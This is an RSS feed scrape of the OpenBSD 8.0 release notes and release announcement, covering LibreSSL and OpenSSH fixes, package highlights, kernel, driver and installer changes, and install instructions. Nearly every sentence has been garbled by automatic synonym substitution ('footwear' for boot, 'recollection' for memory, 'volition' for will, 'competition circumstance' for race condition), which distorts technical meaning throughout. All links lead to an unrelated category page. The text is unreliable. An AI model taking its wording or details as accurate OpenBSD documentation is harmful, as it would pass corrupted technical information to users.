advertised or abort the handshake alongside illegal_parameter. </li><li>Fix streaming of PKCS#7 objects alongside omitted content. </li><li>Avoid OOB admission because of category disturbance in PKCS7_stream(). </li><li>Plug leak and assorted another bugs in asn1_multi(), a helper to grip sequences and sets in config parsing. </li><li>Fix RFC 3779 bequest checks for leaves as far as possible without breaking the RPKI. Still authorize the contiguous issuer to omit among the extensions since alternatively concerning one third of RFC 9286 Manifests would rotate into invalid. </li><li>Correct a botched size inspect in dtls1_process_fragment(). </li><li>Avoid confusing delta CRLs as complete CRLs. </li><li>When copying an RSA-PSS EVP_PKEY_CTX, justify saltlen and minimal saltlen restrictions are copied fairly than using the defaults. </li><li>Allow DTLS clients to obtain unexpected Finished messages. </li><li>Cache the leaf's extensions before adding it to a validated sequence to create name constraints inspect activity additional reliably. </li><li>Ensure the entire topic is searched for email addresses and average names. </li><li>Check for embedded NULs in emails and subjectAltname in the basically unused bequest NAME_CONSTRAINTS_*() API. </li><li>Remove assistance for nameRelativeToCRLIssuer in the CRL Distribution Point extension. Per RFC 5280 it SHOULD not be used by conforming CAs and it was dining recollection for dawn meal pre-signature. </li></ul> </li><li>Security and reliability fixes: <ul> <li>Fix parsing issues in X.509 name constraints URI presenter parsing. Handle IPv6 literals correctly and don't authorize specially crafted userinfo to bypass presenter checks. </li><li>Limit size of buffered DTLS handshake messages to evade overly ample recollection use on small handshake communication fragments. </li><li>Fix an OCSP responder authority bypass for clients using tls_config_ocsp_require_stapling(), of which lone OpenBSD <a href="https://en.mycoding.id/category/technology" target="_blank">nc(1)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">ftp(1)</a> are known whenever they're used alongside the "muststaple" key word. </li></ul> </li><li>Testing and proactive security: <ul> <li>Improved test safety for DTLS and TLS renegotiation. </li><li>Add X.509 CRL regress from pre-Apache2-licensed BoringSSL. </li><li>Rework the evaluation example to be recollection based fairly than document based. Match Go's output format additional closely. </li></ul> </li></ul> </li><li>OpenSSH 10.6: <ul> <li>Security fixes: <ul> <li>Disabled <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> LZ77 dictionary coder to evade a possible side-channel leak. </li><li>Fixed ChannelTimeout and RekeyLimit not being applied in <a href="https://en.mycoding.id/category/technology" target="_blank">sshd_config(5)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> authorized_keys "restrict" keyword use correctly to tunnel forwarding. </li></ul> </li><li>Potentially incompatible changes: <ul> <li>Use IANA allocated codepoint for ssh-mldsa44-ed25519 alternatively of '@openssh.com'. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sshd_config(5)</a> DisableForwarding=yes override PermitTunnel=yes. </li><li>Enforce a maximum size for usernames in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-agent(1)</a> delegate key use constraints. </li><li>Disallow NUL byte in <a href="https://en.mycoding.id/category/technology" target="_blank">scp(1)</a> '-O filename'. </li></ul> </li><li>New features: <ul> <li>New <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-add(1)</a> choice '-P' to skip PIN admission (bz3635). </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> indication handling alongside <a href="https://en.mycoding.id/category/technology" target="_blank">readpassphrase(3)</a> fixed. </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> from supercop ed25519 to libsodium. </li><li>Extended <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> TCPKeepAlive to assistance forwardings (bz3921). </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keygen(1)</a> 'hexdump' to dump the key blob in hex format. </li><li>Allow setting/clearing <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keygen(1)</a> touch-required/verify-required flags on FIDO personal keys whenever resetting the passphrase. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> '-Z user@host' manner that lists pubkeys that volition be tried for authentication. </li><li>Added experimental <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> assistance for composite post-quantum mldsa44-ed25519 signature scheme. </li><li>Added an explicit-seed type of the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> keygen function. </li><li>Added signature malleability and pubkey validity checks to <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> ed25519 verification. </li></ul> </li><li>Bugfixes: <ul> <li>Check <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> compressed payloads don't inflate beyond the maximum payload length. </li><li>Avoid competition between multiple <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> processes establishing multiplexing authority socket. </li><li>Plugged recollection leak in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-add(1)</a> (CID 913600). </li><li>Fix for <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> CIDs 913601 and 913602. </li><li>Fix for <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> CID 913600. </li><li>Converted <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> conduit timeouts to authorize partial and subsecond timeouts. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> masking signals correctly use sigaddset (bz3981). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> memleaks (CID 913598 and 913599); added missing semicolon (CID 913599). </li><li>Corrected Daylight Savings Time timestamp conversion by <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> (bz4004). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> proxy socket breakage in t-multiplex following latest <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> changes. </li><li>Reading server banner by <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keyscan(1)</a> no longer blocks/freezes on a many-host keyscan. </li><li>Allow session-bind@openssh.com requests whenever the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> delegate is locked. </li><li>Avoid possible realloc use-after-free in the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> client. </li><li>Reordering of certificates tried during <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> pubkey authentication. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> ML-KEM/ECDH interop problem. </li><li>Removed several key <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> parsing and verification paths from the pre-auth assault surface. </li><li>Avoid download to server-controlled way whenever performing <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> download via commandline. </li><li>Avoid imaginable NULL deref in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a>; sanitise filenames received via distant glob. </li><li>Large refactoring of <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> config administration code. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> power domain name received from the scheme resolver to lowercase. </li><li>Fixed two one-byte out-of-cound says in <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a>. </li><li>Stricter validation of transport province passed from the preauth to postauth <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> process. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> client use-after-free on error way if cipher_init() fails. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-agent(1)</a> -V to imprint version, use it to test the binary is functional following relinking. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> validating bad cipher/mac lists arguments as valid. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> NULL deref during pubkey auth. </li><li>Dropbear lately added a -Q option; create <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> use it to query KEX if available. </li><li>Classify <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> dynamic-tcpip channels as bulk, not interactive (bz3958). </li></ul> </li></ul> </li><li>Ports and packages: <p>Many pre-built packages for all architecture: </p><ul> <li>aarch64: 12907 </li><li>amd64: 13060 </li><li>arm: XXX </li><li>i386: 10659 </li><li>mips64: 9072 </li><li>powerpc: XXX </li><li>powerpc64: 9564 </li><li>riscv64: 11116 </li><li>sparc64: 10621 </li></ul> <p>Some highlights: </p><ul> <li>Asterisk 20.21.0 and 22.11.0 </li><li>Audacity 3.7.9 </li><li>CMake 4.3.5 </li><li>Chromium 154.0.8037.92 </li><li>Emacs 31.1 </li><li>FFmpeg 9.0.2 </li><li>GCC 16.1.0 </li><li>GHC 9.10.3 </li><li>GNOME 49 </li><li>Go 1.27.1 </li><li>JDK 11.0.32, 17.0.20, 21.0.12 and 25.0.4 </li><li>KDE Gear 26.08.1 </li><li>KDE Frameworks 6.30.0 </li><li>KDE Plasma 6.7.5 </li><li>Krita 6.0.3 </li><li>LLVM/Clang 21.1.8 and 22.1.8 </li><li>LibreOffice 26.8.0.3 </li><li>Lua 5.1.5, 5.2.4, 5.3.6, 5.4.8 and 5.5.1 </li><li>MariaDB 12.3.3 </li><li>Mono 6.14.1 </li><li>Mozilla Firefox 157.0 and ESR 153.4.0 </li><li>Mozilla Thunderbird 153.4.0 </li><li>Mutt 2.4.2 and NeoMutt 20260616 </li><li>Node.js 24.21.0 and Deno 2.9.7 </li><li>OCaml 4.14.2 </li><li>OpenLDAP 2.6.15 </li><li>PHP 8.3.33, 8.4.26 and 8.5.11 </li><li>Postfix 3.5.28 and 3.11.7 </li><li>PostgreSQL 18.6 </li><li>Prism Launcher 11.1.0 </li><li>Python 2.7.18 and 3.14.7 </li><li>Qt 5.15.19 (+ kde patches) and 6.11.2 </li><li>R 4.6.1 </li><li>Ruby 3.3.12, 3.4.11 and 4.0.7 </li><li>Rust 1.98.1 </li><li>SQLite 3.53.2 </li><li>Shotcut 26.8.1 </li><li>Sudo 1.9.17p2 </li><li>Suricata 7.0.7 </li><li>Tcl/Tk 8.5.19, 8.6.18 and 9.0.4 </li><li>TeX Live 2026 </li><li>Vim 9.2.1125, Neovim 0.12.5 and Vim-Classic 2026091 </li><li>Wayland 1.26.0 alongside compositors CoW, Labwc, Mango, Niri, Sway and Wayfire </li><li>Vulkan 1.4.357.0 </li><li>Xfce 4.20.0 </li></ul> </li><li>As usual, dependable improvements in manual pages and another documentation. </li><li>The scheme includes the following important components from exterior suppliers: <ul> <li>Xenocara (based on X.Org 7.7 alongside xserver 21.1.24 + patches, freetype 2.14.3, fontconfig 2.17.1, Mesa 25.0.7, xterm 410, xkeyboard-config 2.20, fonttosfnt 1.2.5 and more) </li><li>LLVM/Clang 22.1.6 (+ patches) </li><li>GCC 4.2.1 (+ patches) and 3.3.6 (+ patches) </li><li>Perl 5.42.3 (+ patches) </li><li>pkgconf 3.0.7 </li><li>NSD 4.15.2 </li><li>Unbound 1.26.1 </li><li>Ncurses 6.4 </li><li>Binutils 2.17 (+ patches) </li><li>GDB 6.3 (+ patches) </li><li>Awk 20250116 </li><li>Expat 2.8.4 </li><li>zlib 1.3.2 (+ patches) </li></ul> </li></ul> <hr> <h3>How to install</h3> <p> Please mention to the following records on the mirror location for extensive particulars on how to instal OpenBSD 8.0 on your machine: </p><ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/alpha/INSTALL.alpha</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/amd64/INSTALL.amd64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/arm64/INSTALL.arm64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/armv7/INSTALL.armv7</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/hppa/INSTALL.hppa</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/i386/INSTALL.i386</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/landisk/INSTALL.landisk</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/luna88k/INSTALL.luna88k</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/macppc/INSTALL.macppc</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/octeon/INSTALL.octeon</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/powerpc64/INSTALL.powerpc64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/riscv64/INSTALL.riscv64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/sparc64/INSTALL.sparc64</a> </li></ul> <hr> <p> Quick installer data for group acquainted alongside OpenBSD, and the use of the "<a href="https://en.mycoding.id/category/technology" target="_blank">disklabel</a> -E" command. If you are at all confused whenever installing OpenBSD, peruse the relevant INSTALL.* document as listed above! </p><h3>OpenBSD/alpha:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. Refer to INSTALL.alpha for additional details. </p><h3>OpenBSD/amd64:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. You may need to modify your BIOS options first. </p><p> If your device can footwear from USB, you can compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB rod and footwear from it. </p><p> If you can't footwear from a CD, floppy disk, or USB, you can instal throughout the network using PXE as described in the included INSTALL.amd64 document. </p><p> If you are preparedness to dual footwear OpenBSD alongside another OS, you volition need to read INSTALL.amd64. </p><h3>OpenBSD/arm64:</h3> <p> Depending on your hardware, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it, or compose a scheme specific miniroot to an SD cardstock and footwear from it following connecting to the serial console. Refer to INSTALL.armv64 for additional details. </p><h3>OpenBSD/armv7:</h3> <p> Write a scheme particular miniroot to an SD cardstock and footwear from it following connecting to the serial console. Refer to INSTALL.armv7 for additional details. </p><h3>OpenBSD/hppa:</h3> <p> Boot complete the network by following the instructions in INSTALL.hppa or the <a href="https://en.mycoding.id/category/technology" target="_blank">hppa phase page</a>. </p><h3>OpenBSD/i386:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. You may need to modify your BIOS options first. </p><p> If your device can footwear from USB, you can compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB rod and footwear from it. </p><p> If you can't footwear from a CD, floppy disk, or USB, you can instal throughout the network using PXE as described in the included INSTALL.i386 document. </p><p> If you are preparedness on dual booting OpenBSD alongside another OS, you volition need to read INSTALL.i386. </p><h3>OpenBSD/landisk:</h3> <p> Write <i>miniroot80.img</i> to the commencement of the CF or disk, and footwear normally. </p><h3>OpenBSD/luna88k:</h3> <p> Copy 'boot' and 'bsd.rd' to a Mach or UniOS partition, and footwear the bootloader from the PROM, and afterward bsd.rd from the bootloader. Refer to the instructions in INSTALL.luna88k for additional details. </p><h3>OpenBSD/macppc:</h3> <p> Burn the <i>install80.iso</i> depiction from a mirror location to a CDROM, and power on your device during holding downward the <i>C</i> key until the display turns on and shows <i>OpenBSD/macppc boot</i>. </p><p> Alternatively, at the Open Firmware prompt, act <i>boot cd:,ofwboot /8.0/macppc/bsd.rd</i> </p><h3>OpenBSD/octeon:</h3> <p> After connecting a serial port, footwear bsd.rd complete the network via DHCP/tftp. Refer to the instructions in INSTALL.octeon for additional details. </p><h3>OpenBSD/powerpc64:</h3> <p> To install, compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB stick, plug it into the device and choose the <i>OpenBSD install</i> list item in Petitboot. Refer to the instructions in INSTALL.powerpc64 for additional details. </p><h3>OpenBSD/riscv64:</h3> <p> To install, compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB stick, and footwear alongside that run plugged in. Make certain you additionally have the microSD cardstock plugged in that shipped alongside the HiFive Unmatched board. Refer to the instructions in INSTALL.riscv64 for additional details. </p><h3>OpenBSD/sparc64:</h3> <p> Burn the depiction from a mirror location to a CDROM, footwear from it, and type <i>boot cdrom</i>. </p><p> If this doesn't work, or if you don't have a CDROM drive, you can write <i>floppy80.img</i> or <i>floppyB80.img</i> (depending on your machine) to a floppy and footwear it alongside <i>boot floppy</i>. Refer to INSTALL.sparc64 for details. </p><p> Make certain you use a correctly formatted floppy alongside NO BAD BLOCKS or your install will most apt fail. </p><p> You can additionally compose <i>miniroot80.img</i> to the toggle partition on the disk and footwear alongside <i>boot disk:b</i>. </p><p> If nothing works, you can footwear complete the network as described in INSTALL.sparc64. </p> <hr> <h3>How to upgrade</h3> <p> If you already have an OpenBSD 7.9 system, and do not desire to reinstall, upgrade instructions and direction can be established in the <a href="https://en.mycoding.id/category/technology" target="_blank">Upgrade Guide</a>. </p> <hr> <h3>Notes concerning the origin code</h3> <p> src.tar.gz contains a origin archive starting at /usr/src. This document contains everything you need apart from for the kernel sources, which are in a distinct archive. To extract: </p><blockquote><pre> # mkdir -p /usr/src # cd /usr/src # tar xvfz /tmp/src.tar.gz </pre></blockquote> <p> sys.tar.gz contains a origin archive starting at /usr/src/sys. This document contains all the kernel sources you need to rebuild kernels. To extract: </p><blockquote><pre> # mkdir -p /usr/src/sys # cd /usr/src # tar xvfz /tmp/sys.tar.gz </pre></blockquote> <p> Both of these trees are a regular CVS checkout. Using these trees it is imaginable to get a head-start on using the anoncvs servers as described <a href="https://en.mycoding.id/category/technology" target="_blank">here</a>. Using these files results in a much faster first CVS update than you could anticipate from a caller checkout of the complete OpenBSD origin tree. </p> <hr> <h3>Ports Tree</h3> <p> A ports tree archive is additionally provided. To extract: </p><blockquote><pre> # cd /usr # tar xvfz /tmp/ports.tar.gz </pre></blockquote> <p> Go peruse the <a href="https://en.mycoding.id/category/technology" target="_blank">ports</a> page if you cognize nothing concerning ports at this point. This content is not a manual of how to use ports. Rather, it is a set of notes meant to kickstart the person on the OpenBSD ports system. </p><p> The <i>ports/</i> directory represents a CVS checkout of our ports. As alongside our complete origin tree, our ports tree is accessible via <a href="https://en.mycoding.id/category/technology" target="_blank">AnonCVS</a>. So, in command to keep up to date alongside the -stable branch, you must make the <i>ports/</i> tree accessible on a read-write average and update the tree with a command like: </p><blockquote><pre> # cd /usr/ports # cvs -d anoncvs@server.openbsd.org:/cvs update -Pd -rOPENBSD_8_0 </pre></blockquote> <p> [Of course, you must substitute the server name current alongside a nearby anoncvs server.] </p><p> Note that most ports are accessible as packages on our mirrors. Updated ports for the 8.0 publish volition be made accessible if problems arise. </p><p> If you're curious in seeing a harbor added, would akin to assistance out, or just would akin to cognize more, the mailing list <a href="https://en.mycoding.id/category/technology" target="_blank">ports@openbsd.org</a> is a fine location to know. </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/openbsd-8-0-73239</guid> <pubDate>Tue, 20 Oct 2026 03:06:40 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[OpenBSD 8.0: released Oct 20, 2026]]></title> <description><![CDATA[OpenBSD 8.0: released Oct 20, 2026. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/openbsd-8-0-released-oct-20-2026-73235</link> <content:encoded><![CDATA[<div> <pre><b>[<a href="https://en.mycoding.id/category/technology" target="_blank">prev in list</a>] [<span color="#c0c0c0">next in list</span>] [<a href="https://en.mycoding.id/category/technology" target="_blank">prev in thread</a>] [<span color="#c0c0c0">next in thread</span>] </b> <b><span size="+1"> List: <a href="https://en.mycoding.id/category/technology" target="_blank">openbsd-misc</a> Subject: <a href="https://en.mycoding.id/category/technology" target="_blank">OpenBSD 8.0: released Oct 20, 2026</a> From: <a href="https://en.mycoding.id/category/technology" target="_blank">"Theo de Raadt" &lt;deraadt () openbsd ! org&gt;</a> Date: <a href="https://en.mycoding.id/category/technology" target="_blank">2026-10-20 1:04:57</a> Message-ID: <a href="https://en.mycoding.id/category/technology" target="_blank">39783.1792458297 () cvs ! openbsd ! org</a></span> [Download RAW <a href="https://en.mycoding.id/category/technology" target="_blank">message</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">body</a>]</b> ------------------------------------------------------------------------ - OpenBSD 8.0 RELEASED ------------------------------------------------- October 20, 2026. We are pleased to province the authoritative publish of OpenBSD 8.0. This is our 61st release. We remain arrogant of OpenBSD's document of more than thirty years alongside lone two distant holes in the default install. As in our former releases, 8.0 provides important improvements, including new features, in nearly all areas of the system: - Platforms particular improvements: o amd64: - Raised the size of amd64 kernel virtual location area from 4G to 512G. - pmap(9) straightforward map now placed at a random location. - Sped up toggle encryption by using AES cpu instructions. o arm64: - Added hibernate support. - Sped up toggle encryption by using AES cpu instructions. - Implemented bounce buffers. o luna88k: - Fixed m88k multiple CMMU enroll writes. - Extended m88k kernel-mode CMMU error handling to grip write safety faults. - Ensure luna88k m8820x_initialize_cpu() initializes logical CPU #0 on non-MP kernels. - Faster CMMU stroll in luna88k m8820x_cpu_number(). o riscv64: - Detect CPU extensions and advertise those usable by userland through elf_aux_info(3) AT_HWCAP and AT_HWCAP2 queries. - Added kernel assistance for the 'V' vector extension. - Implemented bounce buffers. - Added assistance for RISC-V Advanced Interrupt Architecture; added imsic(4) and aplic(4) drivers. - Added kernel assistance for the Sstc timer extension. o sparc64: - Added limits inspect for the sparc64 relocation flags table. - Switched sparc64 to LLVM toolchain. - Improved recollection alignment on SPARCV9. o Other architectures: - Retired assistance for loongson architecture (not operating with Clang 22). - Various RISC-V and MIPS bugfixes for LLVM. - Fixed encoding of hppa safety bits. o More phase particular changes can be established in the hardware assistance division below. - Various kernel improvements: o Fixed recollection size calculation in open_wmemstream(3). o Fixed semop(2) semaphore id being destroyed/replaced during environment switch. o Improved idle leaf queue heuristics for pagedaemon swapping pages/freeing memory. o Added getexecpath(3) to provision copy of the elf(5) program's implementation path. o More preparations for larger disklabel. - Suspend/Hibernate Support: o Enabled suspend/resume for qwz(4). o Made ufshci(4) last a suspend on the Samsung Galaxy Book4 Edge and HONOR MagicBook Art 14 Snapdragon. o Stopped waking a suspended laptop whenever lid is closed and machdep.lidaction=0. o Added a earth sleep manner changeable to differentiate hibernate from 'normal' suspend. o Added suspend/resume assistance for qcuart(4). o Added assistance for wakeup interrupts to bytgpio(4), fixes IdeaPad resuming from suspend. o Validate size of chunks copied to piglet during hibernate unpacking of disk image. o Validate on-disk depiction sizes against entire figure overflow whenever reading chunks in unhibernate. o Prevent disk depiction overreads whenever study the chunktable in unhibernate. o Clean up the framebuffer following unhibernate. o Made nonaccomplishment to allocate a dedicated queue for nvme(4) hibernate assistance non-fatal. - Direct Rendering Manager and graphics drivers: o Updated drm(4) to Linux 6.18.53. o Support for Intel Arc A-Series (DG2/Alchemist) graphics cards in inteldrm(4). o Increased kernel virtual location area on amd64 allows mapping additional than 4GB of VRAM. o Workaround inteldrm(4) GuC timeout errors seen on several Alder Lake systems. - VMM/VMD improvements: o Added MP assistance for up to 64 VCPUs per visitant VM. o Redesigned to use records to oversee VM ownership. o Added x2apic manner assistance for visitant virtual machines. o Fix for whenever vmd(8) does not detect kernel on startup. o Provide faulting GPA to vmd(8) for MMIO exits from vmm(4). o Refactored vmm(4) exit handling and accurate RIP adjustment. o Added assistance for changeable dimension instructions in VMX paths to vmm(4). o Prevent OOB says by vmd(8) in 32 and 64-bit elf(5) loaders with malformed elf(5) files. o Implemented missing lapic/ioapic modes to fix vmd(8) assistance for 32-bit linux guests. o Added checksum offload for vmd(8) guests. o MSI/MSI-X virtio equipment interrupt assistance added. o Support really divided split-virtqueues in vmd(8). o Added i82093aa ioapic and i82489dx-compatible lapic emulation to vmd(8). o Improved qcow handling. - Various new userland features: o netstat(1) can now imprint interface multicast counter; made '-q' additional specific. o Adjusted ddb(4) default 'ps' output, imprint 'struct process' and 'struct proc' separately. o Made mount(8) assistance DUIDs alongside -u; maintain DUID whenever updating document system. o Implemented authority of midithru ports alongside sndioctl(1). o Allow catalog elements to be added or removed by sndioctl(1). o Added the sndiod(8) server.mode authority making the setting dynamic, changeable via sndioctl(1). - More bugfixes and tweaks in userland: o Ensure elf(5) header and program header fit into the shared archive whenever loading. o Fixed leak of key recollection in getpwent(3) yp_next(). o In patch(1), solved an infinite iteration on malformed ed(1) script input. o Use execv(3) absolute-path in authpf(8), pflogd(8), ldapd(8), ldpd(8), lpd(8), radiusd(8), snmpd(8). o uaudio(4) now tests the reported format and channels are usable. o Stopped sndiod(8) aborting if a MIDI endpoint connects with non-empty buffers. o Fixed two missing checks of file_new() come back value in sndiod(8). o Fixed npppd(8) LCP MRU choice handing. o Adjust pstat(8) to come back the pid of the meeting chief process; authorize '-t -M' to work. o Made eigrpd(8) validate the prefixlen to evade overflow. o Made sndiod(8) allocate all midithru structures on the heap. - Improved hardware assistance and controller bugfixes, including: o Enabled the GXTP7936 touchscreen on the Samsung Galaxy Book4 Edge. o Added assistance for the riscv64 K3 PCIe/USB3 combo PHY. o Enabled gpioleds(4) on riscv64. o In smte(4) (SpacemiT K1 Ethernet device), improved error checking of received packets. o Fixed regular MSI interrupts on the SpacemiT K1 SoC. o Added assistance for the SpacemiT K3 SoC to smtclock(4). o Added SC7280 assistance to qcgpio(4). o Added assistance for the SpacemiT K3 dwpcie(4) PCIe controller. o Added RK3528 I2C5 clock, used in the Radxa E24C. o Added ACPI hardware IDS for Qualcomm Glymur (X2) SoC. o Implemented leaf array mirroring in apldart(4); allow IOMMU for Apple USB controllers. o New samsabi(4) controller for the Samsung Advanced BIOS Interface (SABI). o New sambat(4) controller for Samsung laptop power division monitor. o New rkotp(4) controller for Rockchip OTP memory. o Added assistance for the RK8600 regulator used for CPU voltage on Radxa Zero 3 boards. o Added additional AMD "Krackan Point" equipment ids. o Fixed HONOR MagicBook Touchpad multitouch support. o Fixed esp(4) FIFO recollection overflow. o Fixed possible recollection leak in softraid(4) rebuild. o Fixed softraid(4) rebuild on disks alongside 4096-byte sectors. o Fixed elevated recollection mbufs for 64-bit DMA capable re(4). - New or improved network hardware support: o Added assistance for Panther Lake and Wildcat Lake Ethernet devices to em(4). o Added assistance for Intel E610 Ethernet devices to the ix(4) driver. - Added or improved wireless network drivers: o Properly grip possible case of bare packets returned from qwx(4) hardware. o Added missing DMA syncs for qwx(4) SRNG DMA descriptor memory. o Properly grip qwx(4) VIF DMA map allocation failures at attach time. o Fixed use of old pointers on the qwx(4) vif catalog which caused crashes. o Properly reset qwx(4) controller and equipment province if it fails to get RUNNING in qwx_init(). o Avoid competition circumstance in qwx(4) equipment during power-on. o Use the ioctl rwlock correctly in qwx(4) qwx_activate(). o Ensure qwx(4) rx_ring-&gt;bufs_max and freemap are continually initialised correctly. o Stopped qwx(4) init project waiting for the ioctl fastener to become available. o Made qwx(4) correctly errors which happen in qwx_qmi_fw_init_done(). o Fixed roaming between APs alongside qwx(4). o Always authorize data example interrupts in qwx(4) during the interface is UP. o Added assistance for 40MHz channels to qwx(4). o Made qwx(4) lone allocate a new mbuf whenever a liberated Rx circle slot is available. o Avoid calling bus_dmamap_create() from interrupt environment in qwx(4). o Handle nation code events sent by qwx(4) firmware to make affiliation additional reliable. o Reset qwx(4) command circle 'queued' oppose whenever the command ring gets reset. o Ensure that qwx(4) nq flags are continually cleared whenever switching net80211 state. o Fixed figure of tx/rx streams set in qwx(4) mac config. o Made qwx(4) dispatch the PMF good-bye deauth example whenever hopping out of RUN state. o Ensure no new tasks get scheduled during IFF_RUNNING is in qwx_stop(). Prevents qwz(4) crash. o Make qwx(4) favor ic_bss complete the ephemeral node in the scan tree. o Add equal to qwx(4) firmware following starting the vdev, not before. Fixes a firmware crash. o Add 802.11n assistance to qwx(4). Advertise HT capabilities and pass HT/QoS equal association. o Ask qwx(4) firmware to move into M3 province before resetting the device. o Avoid calling bus_dmamap_destroy() from interrupt environment in qwx(4). o Added 802.11n alongside 40MHz width to qwz(4). o Let qwz(4) grip QoS in native WiFi frames. - Installer, upgrade, bootloader, and pkg-tools improvements: o Harmonise installurl(5) handling in pkg_add(1), sysupgrade(8), and syspatch(8). o Fixed liberated area inspect by fw_update(8) for unqualified filenames. o Set bounds on the size of records fw_update(8) can download. o Stricter validation in fw_update(8) to no longer treat untrusted comments as data. o pkg_add(1) now detects and overcomes several endless loops with merge-sets. o Clean trailing slashes from fw_update(8) FWURL. o Removed current directory from default pkg_add(1) hunt path. o Improved downloading of firmware by filename in fw_update(8). o Improved fw_update(8) error whenever SHA256.sig is not found. o fw_update(8) now checks signature of local SHA256.sig. o In fw_update(8), made tar(1) skip records exterior expected locations. o Stopped syspatch(8) downloading complete tgz document whenever looking for a possible update. - Security improvements: o Fixed a pledge(2) in vfs(9). o Fixed out-of-bounds admission attempts on aplmca(4) SOCs. o Stopped use of non-standard UID_MAX and GID_MAX in various utilities. o Improved ipsec(4) AES GMAC crypto. o Made iked(8) refuse malformed and out-of-state IKEv2 messages. o Plugged memleak in x509_verify (CID 656293). o Avoid overflow in sysctl(2) KERN_PROC_ARGS. o Prevent bogus or malicious iaddr data from crashing dhcpd(8). o Avoid possible recollection exhaustion via DHCPINFORM in dhcpd(8). o Properly use saltlen and min_saltlen in libcrypto RSA-PSS. o Reject invalid delta CRLs in libcrypto x509. o Fixed RFC 3779 bequest handling in libcrypto's path validation. o Use execve(2) as $ORIGIN in ld.so(1) (otherwise fallback to realpath). o Hardened syspatch(8) against malicious scripts. o Restrict the characters that are allowed to continue through smtpd(8) surroundings and mda. o Fixed study former the NUL by pax(1). o Stopped pax(1) extracting malicious archives exterior the working directory. o Added 'mcast' to the pledge(2) for lldpd(8). o Tightened pledge_sockopt() level/optname checks for different 